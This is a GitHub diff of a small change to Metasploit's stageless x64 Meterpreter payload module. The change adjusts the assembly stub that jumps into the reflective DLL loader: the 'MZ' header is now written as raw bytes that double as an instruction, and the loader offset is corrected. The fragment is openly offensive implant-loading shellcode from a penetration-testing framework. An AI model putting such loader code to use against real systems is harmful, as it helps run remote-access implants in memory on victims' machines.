File tree Expand file tree Collapse file tree 1 file changed +2
-4
lines changed
lib/msf/core/payload/windows/x64 Expand file tree Collapse file tree 1 file changed +2
-4
lines changed Original file line number Diff line number Diff line change @@ -20,19 +20,17 @@ module Payload::Windows::StagelessMeterpreter_x64
20
20
def asm_invoke_metsrv ( opts = { } )
21
21
asm = %Q^
22
22
; prologue
23
- ; int 03
24
- pop r10 ; 'MZ'
23
+ db 0x4d, 0x5a ; 'MZ' = "pop r10"
25
24
push r10 ; back to where we started
26
25
push rbp ; save rbp
27
26
mov rbp, rsp ; set up a new stack frame
28
27
sub rsp, 32 ; allocate some space for calls.
29
28
; GetPC
30
29
call $+5 ; relative call to get location
31
30
pop rbx ; pop return value
32
- ;lea rbx, [rel+0] ; get the VA for the start of this stub
33
31
; Invoke ReflectiveLoader()
34
32
; add the offset to ReflectiveLoader()
35
- add rbx, #{ "0x%.8x" % ( opts [ :rdi_offset ] - 10 ) }
33
+ add rbx, #{ "0x%.8x" % ( opts [ :rdi_offset ] - 0x11 ) }
36
34
call rbx ; invoke ReflectiveLoader()
37
35
; Invoke DllMain(hInstance, DLL_METASPLOIT_ATTACH, socket)
38
36
; offset from ReflectiveLoader() to the end of the DLL
You can’t perform that action at this time.
0 commit comments